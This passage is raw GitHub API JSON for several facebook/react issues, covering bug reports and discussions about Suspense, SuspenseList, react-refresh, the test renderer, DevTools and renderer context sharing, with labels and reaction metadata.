a.\r\n1. Press Tab to focus the second input.\r\n1. Type a.\r\n1. Use Ctrl/Cmd+Z or Edit->Undo to undo these two changes.\r\n\r\nNotice that the uncontrollable input change is reverted\r\nNotice that the controllable input change is **not** reverted\r\n\r\n![undo](https://user-images.githubusercontent.com/3165635/69901991-fb405a00-1388-11ea-9085-ddd4131a42a9.gif)\r\n\r\n**What is the expected behavior?**\r\n\r\nuncontrollable & controllable inputs behave identically.\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\nReact 16.12.0\r\nChrome 78.0.3904.108\r\nmacOS 10.14.6\r\n\r\nFirst reported in https://github.com/mui-org/material-ui/issues/18545.\r\n", "closed_by": { "login": "stale[bot]", "id": 26384082, "node_id": "MDM6Qm90MjYzODQwODI=", "avatar_url": "https://avatars.githubusercontent.com/in/1724?v=4", "gravatar_id": "", "url": "https://api.github.com/users/stale%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17494/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17436", "id": 527289117, "node_id": "MDU6SXNzdWU1MjcyODkxMTc=", "number": 17436, "title": "What will suspense look like for the streaming case?", "user": { "login": "benlesh", "id": 1540597, "node_id": "MDQ6VXNlcjE1NDA1OTc=", "avatar_url": "https://avatars.githubusercontent.com/u/1540597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/benlesh", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 1109407645, "node_id": "MDU6TGFiZWwxMTA5NDA3NjQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Suspense", "name": "Component: Suspense", "color": "8ffcd6", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2019-11-22T16:19:21Z", "updated_at": "2023-06-06T13:57:07Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\n**Do you want to request a *feature* or report a *bug*?**\r\n\r\nA discussion, at the request of @gaearon. \r\n\r\n### Questions\r\n\r\nI'm very curious what the public API will be for Suspense in streaming cases. The work I do or have pretty much always done in React involves dealing with streams of data, generally coming over a web socket. What will it look like? Will it be easy for users to implement/use? Is a promise/thenable an appropriate type for dealing with this even internally, given that the first value may never show up?\r\n\r\n### Desire\r\n\r\nThe ability to leverage suspense to \"suspend\" until the first of many values arrives from a stream of data coming from any source. For the sake of conversation, we'll say a web socket.\r\n\r\n\r\n### Constraints\r\n\r\n- The first value may never arrive\r\n- The source may close without error, having never provided a value\r\n- There must be an ergonomic teardown mechanism, for example how developers can currently teardown in the returned function of `useEffect` or in `componentWillUnmount`.\r\n- There may be more than one value returned by the streaming source\r\n\r\n### Optional constraints\r\n\r\n- The first N values form the source may be synchronous (followed by asynchronous values)\r\n\r\n### Scenario\r\n\r\nA simple app with two routes, one where the app needs to open a web socket connection and collect streaming data, and the other where the socket connection should be closed. The values from the web socket may take long enough that the developer will want to move to that routed component right away and show some spinner with suspense until the first bit of data arrives. If the user navigates to the first route, then leaves before the first value arrives, what happens?\r\n\r\nMy concern is, that if, even internally, the mechanism is a promise or thenable, there is a chance leaks will be created in the event that the source of that first value is torn down before the first value arrives. The only way, with a thenable or promise, to avoid that chance would be to make sure that the teardown mechanism was somehow tied to the thenable, so that the thenable to be rejected (or resolved) with a known value, such that it will be \"settled\".", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17436/reactions", "total_count": 24, "+1": 19, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 5 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17425", "id": 526803319, "node_id": "MDU6SXNzdWU1MjY4MDMzMTk=", "number": 17425, "title": "SuspenseList revealOrder=\"forwards\" has issues when Suspense is nested in another element", "user": { "login": "kentcdodds", "id": 1500684, "node_id": "MDQ6VXNlcjE1MDA2ODQ=", "avatar_url": "https://avatars.githubusercontent.com/u/1500684?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kentcdodds", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" }, "1": { "id": 1109407645, "node_id": "MDU6TGFiZWwxMTA5NDA3NjQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Suspense", "name": "Component: Suspense", "color": "8ffcd6", "default": false, "description": "" }, "2": { "id": 1205087127, "node_id": "MDU6TGFiZWwxMjA1MDg3MTI3", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Concurrent%20Features", "name": "Component: Concurrent Features", "color": "ffccd3", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2019-11-21T19:44:06Z", "updated_at": "2020-02-20T04:59:44Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "**Do you want to request a *feature* or report a *bug*?**\r\n\r\nSuspenseList is currently experimental, so it's neither. But I think that this should be fixed before it's stable.\r\n\r\n**What is the current behavior?**\r\n\r\n![Screen Recording 2019-11-21 at 12 39 56 PM](https://user-images.githubusercontent.com/1500684/69371223-a6039a80-0c5c-11ea-9fd4-848a3f1672fa.gif)\r\n\r\nNote the 1000ms at the bottom (which should show last based on the `revealOrder`) shows at 2000ms for the nested version.\r\n\r\nThe only difference between those two sets of SuspenseLists is that one has nested the two bottom suspense elements in a `div`. Something like this:\r\n\r\n```javascript\r\nfunction App() {\r\n return (\r\n \r\n 2000ms loading
}>\r\n \r\n \r\n
{/* nesting */}\r\n 3000ms loading
}>\r\n \r\n \r\n 1000ms loading}>\r\n \r\n \r\n {/* nesting */}\r\n \r\n )\r\n}\r\n```\r\n\r\nhttps://codesandbox.io/s/suspenselist-issues-sdqzb\r\n\r\n**What is the expected behavior?**\r\n\r\nI would expect them to behave exactly the same. Nesting things is often necessary for styling reasons.\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\nI'm experiencing this on `[email protected]` and `[email protected]`. I don't believe this ever worked in previous versions of React.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17425/reactions", "total_count": 7, "+1": 5, "-1": 0, "laugh": 1, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17386", "id": 523851078, "node_id": "MDU6SXNzdWU1MjM4NTEwNzg=", "number": 17386, "title": "Feature Request: Soft Component", "user": { "login": "hackwaly", "id": 540298, "node_id": "MDQ6VXNlcjU0MDI5OA==", "avatar_url": "https://avatars.githubusercontent.com/u/540298?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hackwaly", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2019-11-16T14:23:06Z", "updated_at": "2022-03-23T18:26:00Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "```\r\nimport React, {useState} from 'react';\r\nimport ReactDOM from 'react-dom';\r\n\r\nfunction PageLayout({title, children}) {\r\n return
\r\n

{title}

\r\n \r\n {children}\r\n
;\r\n}\r\nfunction Page2({setPage}) {\r\n return \r\n \r\n \r\n}\r\nfunction Page1({setPage}) {\r\n return \r\n \r\n \r\n}\r\nfunction App() {\r\n let [Page, setPage] = useState(() => Page1);\r\n return ; \r\n}\r\nReactDOM.render(, document.getElementById('app'));\r\n```\r\n\r\nhttps://codesandbox.io/embed/serene-browser-tehj4?fontsize=14\r\n\r\nThe above code is most intuitive pattern for build multiple page web app. -- Don't mind the setPage. Just focus Page component returns PageLayout instance.\r\n\r\nBut react's diff algorithm is not optimized for that pattern. If you click \"Test\" button. The text you inputed in input will lost.\r\n\r\nSo I proposal \"Soft Component\" concept. Two soft component will be treated as same component in diff algorithm. In the example, we change Page1 and Page2 to soft components. Thus solve the problem I shown above.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17386/reactions", "total_count": 5, "+1": 2, "-1": 3, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17355", "id": 522336536, "node_id": "MDU6SXNzdWU1MjIzMzY1MzY=", "number": 17355, "title": "\"Should not already be working\" in Firefox after a breakpoint/alert", "user": { "login": "gzzo", "id": 5722054, "node_id": "MDQ6VXNlcjU3MjIwNTQ=", "avatar_url": "https://avatars.githubusercontent.com/u/5722054?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gzzo", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 588833528, "node_id": "MDU6TGFiZWw1ODg4MzM1Mjg=", "url": "https://api.github.com/repos/facebook/react/labels/Difficulty:%20medium", "name": "Difficulty: medium", "color": "fbca04", "default": false, "description": null }, "2": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" }, "3": { "id": 717031390, "node_id": "MDU6TGFiZWw3MTcwMzEzOTA=", "url": "https://api.github.com/repos/facebook/react/labels/good%20first%20issue", "name": "good first issue", "color": "6ce26a", "default": true, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 122, "created_at": "2019-11-13T16:35:19Z", "updated_at": "2026-02-23T00:19:20Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "**Do you want to request a *feature* or report a *bug*?**\r\nBug\r\n\r\n**What is the current behavior?**\r\nI'm seeing \"Error: Should not already be working\" after upgrading to React 16.11\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\nThis is exclusively happening on an older version of Chrome, 68.0.3440 on Windows 7\r\n\r\nI was unable to reproduce this in a VM environment but our Sentry is getting littered with these errors. \r\n\r\nI know it's a long shot, but I wasn't able to find any information about this error anywhere, just a reference in the error codes file in react, so thought it would be a good idea to report this just in case. Curious if anyone has seen this.\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17355/reactions", "total_count": 82, "+1": 78, "-1": 0, "laugh": 2, "hooray": 1, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35865, 35437 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/17301", "id": 519149714, "node_id": "MDU6SXNzdWU1MTkxNDk3MTQ=", "number": 17301, "title": "react-test-renderer: the findByType method doesn't work with memo components", "user": { "login": "bensampaio", "id": 1700178, "node_id": "MDQ6VXNlcjE3MDAxNzg=", "avatar_url": "https://avatars.githubusercontent.com/u/1700178?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bensampaio", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 710400704, "node_id": "MDU6TGFiZWw3MTA0MDA3MDQ=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Test%20Renderer", "name": "Component: Test Renderer", "color": "006b75", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 8, "created_at": "2019-11-07T09:39:23Z", "updated_at": "2020-09-25T19:39:43Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\n**Do you want to request a *feature* or report a *bug*?**\r\nFeature\r\n\r\n**What is the current behavior?**\r\nWhenever I try something like:\r\n\r\n```\r\nReactTestRenderer.create().root.findByType(SomeMemoComponent);\r\n```\r\n\r\nI get the following error: `No instances found with node type: \"undefined\"`. The only way I found for this to work was to reference the `type` property of memo components like this:\r\n\r\n```\r\nReactTestRenderer.create().root.findByType(SomeMemoComponent.type);\r\n```\r\n\r\nI am fine with this solution but then flow complains that `type` doesn't exist so I find myself fixing this with `$FlowFixMe` all over the place.\r\n\r\n**What is the expected behavior?**\r\n\r\nI would expect that passing a memo component to `findByType` would work. Or that flow would recognize the `type` property of memo components. I think both should work, specially the first option.\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\nNo, it never worked as far as I know.\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17301/reactions", "total_count": 6, "+1": 6, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17298", "id": 519047645, "node_id": "MDU6SXNzdWU1MTkwNDc2NDU=", "number": 17298, "title": "Hotkey for \"Select an element in the page to inspect it\" in Chrome extension", "user": { "login": "skoshy", "id": 369825, "node_id": "MDQ6VXNlcjM2OTgyNQ==", "avatar_url": "https://avatars.githubusercontent.com/u/369825?v=4", "gravatar_id": "", "url": "https://api.github.com/users/skoshy", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 10, "created_at": "2019-11-07T05:20:54Z", "updated_at": "2023-11-27T14:38:44Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Reopening https://github.com/facebook/react-devtools/issues/966 as I feel it'd still be a great feature to have.\r\n\r\nTo reiterate, it'd be great to have a hotkey to trigger the \"Select an element in the page to inspect it\" functionality, similar to how `Ctrl` + `Shift` + `C` triggers Chrome's element inspector mode.", "closed_by": { "login": "stale[bot]", "id": 26384082, "node_id": "MDM6Qm90MjYzODQwODI=", "avatar_url": "https://avatars.githubusercontent.com/in/1724?v=4", "gravatar_id": "", "url": "https://api.github.com/users/stale%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17298/reactions", "total_count": 18, "+1": 4, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 14, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17281", "id": 518001617, "node_id": "MDU6SXNzdWU1MTgwMDE2MTc=", "number": 17281, "title": "react-refresh: Dependent functions/data don't trigger refresh", "user": { "login": "lilactown", "id": 2687140, "node_id": "MDQ6VXNlcjI2ODcxNDA=", "avatar_url": "https://avatars.githubusercontent.com/u/2687140?v=4", "gravatar_id": "", "url": "https://api.github.com/users/lilactown", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 11, "created_at": "2019-11-05T20:13:09Z", "updated_at": "2020-07-31T13:51:30Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "**Do you want to request a *feature* or report a *bug*?**\r\n\r\nBoth/neither?\r\n\r\n**What is the current behavior?**\r\n\r\nCurrently, react-refresh marks each component whose `type` and/or `signature` has changed as \"dirty\" and will either re-render or re-mount those components selectively.\r\n\r\nThe problem occurs when the dev tooling (webpack, parcel, etc.) loads a module that exports functions or data that are used inside of components, but aren't registered components themselves. For example, a utility function that concatenates a string:\r\n\r\n```js\r\nexport greet(name) {\r\n return `Hello, ${name}!`;\r\n}\r\n```\r\n\r\nChanging the returned string to `Yo, ${name}!` would trigger this module to reload in the browser, but because components which depended on it don't reload, the old greeting will persist \r\nuntil the next render of each dependent component.\r\n\r\n(BTW in actuality, some tooling will reload immediate dependents of modules that are reloaded in order to get around similar problems. You can extend the dependency chain from two to three modules, where `a.js` depends on `b.js` depends on `c.js`, and you will get the same result when editing `c.js`)\r\n\r\nWhat this forces tooling to do is apply a heuristic to try and guess whether a given module should be refreshed, vs. completely restart the app in order to cause all components to re-mount and pick up any changes that wouldn't be picked up by react-refresh.\r\n\r\nThe problems with the heuristic approach is:\r\n- each dev tool needs to implement this logic, leading to more potential for bugs\r\n- it leads to a degradation of hot reloading capabilities based on what your module exports. not obvious at all on it's face and will lead people to twisting their code base to route around this\r\n- It's very unfriendly to compile-to-JS languages like ReasonML, ClojureScript, etc. which might have different default semantics for what is public / private, different conventions for naming components, etc. which make it difficult to detect whether a module is \"safe\" to refresh\r\n\r\n**What is the expected behavior?**\r\n\r\nThat components depended on newly loaded code will pick up those changes correctly, without losing state.\r\n\r\nA potential (maybe naive?) solution to this in react-refresh is, instead of only re-rendering the components marked as dirty (due to a different `type` being registered), to _re-render from the root_ while maintaining hooks state. If components' signatures have changed, then re-mount.\r\n\r\nI've read through and kind of grok most of the code in react-refresh, but I'm not sure how this would impact the way that the reconciler currently handles the HMR stuff. This is as much of a question, as it is a request: could this be a viable solution?\r\n\r\nI appreciate your time and energy in reading through this. I'm very excited about having first-class support for hot reloading in React, as it's been something that I've loved ever since seeing the first demo of it. I hope that this issue can help create a way to provide a consistently excellent dev experience across tools/platforms/languages!\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\nReact 16.11", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17281/reactions", "total_count": 4, "+1": 4, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17275", "id": 517530511, "node_id": "MDU6SXNzdWU1MTc1MzA1MTE=", "number": 17275, "title": "Is it possible to share contexts between renderers?", "user": { "login": "diegomura", "id": 5600341, "node_id": "MDQ6VXNlcjU2MDAzNDE=", "avatar_url": "https://avatars.githubusercontent.com/u/5600341?v=4", "gravatar_id": "", "url": "https://api.github.com/users/diegomura", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 739761016, "node_id": "MDU6TGFiZWw3Mzk3NjEwMTY=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Reconciler", "name": "Component: Reconciler", "color": "f9a798", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 19, "created_at": "2019-11-05T03:39:28Z", "updated_at": "2026-03-01T15:56:34Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "**What is the current behavior?**\r\n\r\nHey 👋 I maintain [react-pdf](https://github.com/diegomura/react-pdf). Thanks for your awesome work and making `react-reconciler` for us to use! \r\n\r\n I've got many issues lately regarding context not working on my library and when doing tests I found out that context values aren't shared between renderers. This makes it impossible to share state such as themes, i18n, redux and more. As a bit of context, React-pdf is not a primary renderer, and as such, when used in the browser it runs on top of react-dom.\r\n\r\nI found the `isPrimaryRenderer` reconciler option that's supposed to be used for \"multiple renderers concurrently render using the same context objects\" but still any access of the context inside react-pdf components get's just the initial value (even if the context was updated with other value). The same happens for `react-art` that also set `isPrimaryRenderer=false`.\r\n\r\n**Minimal demo**\r\n\r\nI prepared a quick demo using react-art so you can see how it currently works:\r\n\r\nhttps://codesandbox.io/s/pedantic-hill-54kid?fontsize=14\r\n\r\n**What is the expected behavior?**\r\n\r\nShare contexts between renderers when using `isPrimaryRenderer` config. Is there a way of achieving this? Am I missing something?\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\nReact: 16.11.0\r\nReact-dom: 16.11.0\r\n", "closed_by": { "login": "sophiebits", "id": 6820, "node_id": "MDQ6VXNlcjY4MjA=", "avatar_url": "https://avatars.githubusercontent.com/u/6820?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sophiebits", "type": "User", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17275/reactions", "total_count": 21, "+1": 21, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17256", "id": 516904161, "node_id": "MDU6SXNzdWU1MTY5MDQxNjE=", "number": 17256, "title": "\"NotFoundError: Failed to execute 'removeChild' on 'Node'\" when using React.Fragment <>> with Chrome extension which does not modify the DOM tree below the root div of the React app", "user": { "login": "tonix-tuft", "id": 10134421, "node_id": "MDQ6VXNlcjEwMTM0NDIx", "avatar_url": "https://avatars.githubusercontent.com/u/10134421?v=4", "gravatar_id": "", "url": "https://api.github.com/users/tonix-tuft", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 37, "created_at": "2019-11-03T23:06:16Z", "updated_at": "2025-09-26T21:34:40Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "This has already been discussed before (#14740), but there wasn't a reproducing example for this kind of issue and I think that my use case is also a bit different.\r\n\r\n**Do you want to request a *feature* or report a *bug*?**\r\nI believe this can be considered a bug.\r\n\r\n**What is the current behavior?**\r\nIn order to reproduce this issue using Chrome, you will need to install the following Chrome extension called TransOver:\r\n\r\n![Screen Shot 2019-11-03 at 22 51 33](https://user-images.githubusercontent.com/10134421/68092541-86165d80-fe8c-11e9-9f39-e566f770fcb2.png)\r\n\r\nhttps://chrome.google.com/webstore/detail/transover/aggiiclaiamajehmlfpkjmlbadmkledi?hl=en\r\n\r\nI use it to translate text on hover.\r\nThe only thing that this extension does is appending a tooltip with the translated text to the `body` HTML element when you hover an element with text (it doesn't seem it appends stuff below the React's root `div` element).\r\n\r\nI have created two code sandboxes to show you better and explain the problem.\r\nIt is a minimal example of a movie app like the one Dan showed at JSConf 2018 in Iceland, though not as beautiful as his and without all that cool Suspense stuff, but at least it uses hooks :) .\r\n\r\n- https://codesandbox.io/s/heuristic-lake-exxvu\r\n\r\n- https://codesandbox.io/s/magical-grass-016kc\r\n\r\nThe two code sandboxes are essentially identical, the only difference is that the first one (`heuristic-lake-exxvu`) uses a `div` element for `MovieApp`, whereas the second (`magical-grass-016kc`) uses a `React.Fragment` (`<>>`) component:\r\n\r\n`heuristic-lake-exxvu`'s `MovieApp`:\r\n\r\n```\r\nconst MovieApp = () => {\r\n const [currentMovie, setCurrentMovie] = useState(initialCurrentMovieState);\r\n const { isLoading, id: currentMovieId, movieDetails } = currentMovie;\r\n ...\r\n return (\r\n
// <======================= Uses a `div`\r\n {isLoading ? (\r\n \"Loading...\"\r\n ) : (\r\n ...\r\n```\r\n\r\n`magical-grass-016kc`'s `MovieApp`:\r\n\r\n```\r\nconst MovieApp = () => {\r\n const [currentMovie, setCurrentMovie] = useState(initialCurrentMovieState);\r\n const { isLoading, id: currentMovieId, movieDetails } = currentMovie;\r\n ...\r\n return (\r\n <> // <======================= Uses a fragment\r\n {isLoading ? (\r\n \"Loading...\"\r\n ) : (\r\n ...\r\n```\r\n\r\nNow, if you open `heuristic-lake-exxvu` and click on the `Show movie info` button of any movie in the list, you will see the `Loading...` text before the promise with the data of the movie resolves, and the `Movie` component is rendered.\r\n\r\nBefore the promise resolves, try hovering on the `Loading...` text with the `TransOver` extension enabled, you should see:\r\n\r\n![Screen Shot 2019-11-03 at 23 26 48](https://user-images.githubusercontent.com/10134421/68093013-764d4800-fe91-11e9-8b64-2dbdade0a500.png)\r\n\r\nThe world makes sense here, no errors, no warnings, everything works.\r\n\r\nNow try to do the same thing on `magical-grass-016kc`, as soon as you hover `Loading...`, you will see the `NotFoundError: Failed to execute 'removeChild' on 'Node'` error logged in the browser's console:\r\n\r\n![Screen Shot 2019-11-03 at 23 40 00](https://user-images.githubusercontent.com/10134421/68093177-49019980-fe93-11e9-9f9b-13f91a12e996.png)\r\n\r\n![Screen Shot 2019-11-03 at 23 40 52](https://user-images.githubusercontent.com/10134421/68093194-6df60c80-fe93-11e9-910f-ae748bc9fb91.png)\r\n\r\nHere is a streamable video showing this same error:\r\n\r\nhttps://streamable.com/4gxua\r\n\r\n**What is the expected behavior?**\r\nIn `heuristic-lake-exxvu` (uses a `div` instead of React fragment), everything worked.\r\nThe TransOver extension appends to `body` and does not modify the React's root `div` neither does it append stuff below it, so I would expect the code in the React fragment example (`magical-grass-016kc`) to behave the same and work as in `heuristic-lake-exxvu`.\r\n\r\nChrome is plenty of useful extensions like this one and they should not really interfere with React, I think that users using React applications may also install other extensions which modify the DOM which they find useful.\r\nIf an extension appends to body like TransOver does, I wouldn't expect React to have problems with it and cause undesirable effects and application errors like this one.\r\n\r\nThis is my opinion, I would be very glad to hear what you think about it, and if you think I have spotted a bug of React fragments (I think it's a bug because, again, it works when using a `div` in `heuristic-lake-exxvu`).\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\nBrowser: Chrome\r\nReact v16.11.0\r\nReact DOM v16.11.0\r\n\r\n\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17256/reactions", "total_count": 37, "+1": 37, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17254", "id": 516563176, "node_id": "MDU6SXNzdWU1MTY1NjMxNzY=", "number": 17254, "title": "React DevTools w/ Electron: Profiler \"Reload and start profiling\" doesn't work due to XMLHttpRequest 'null' origin", "user": { 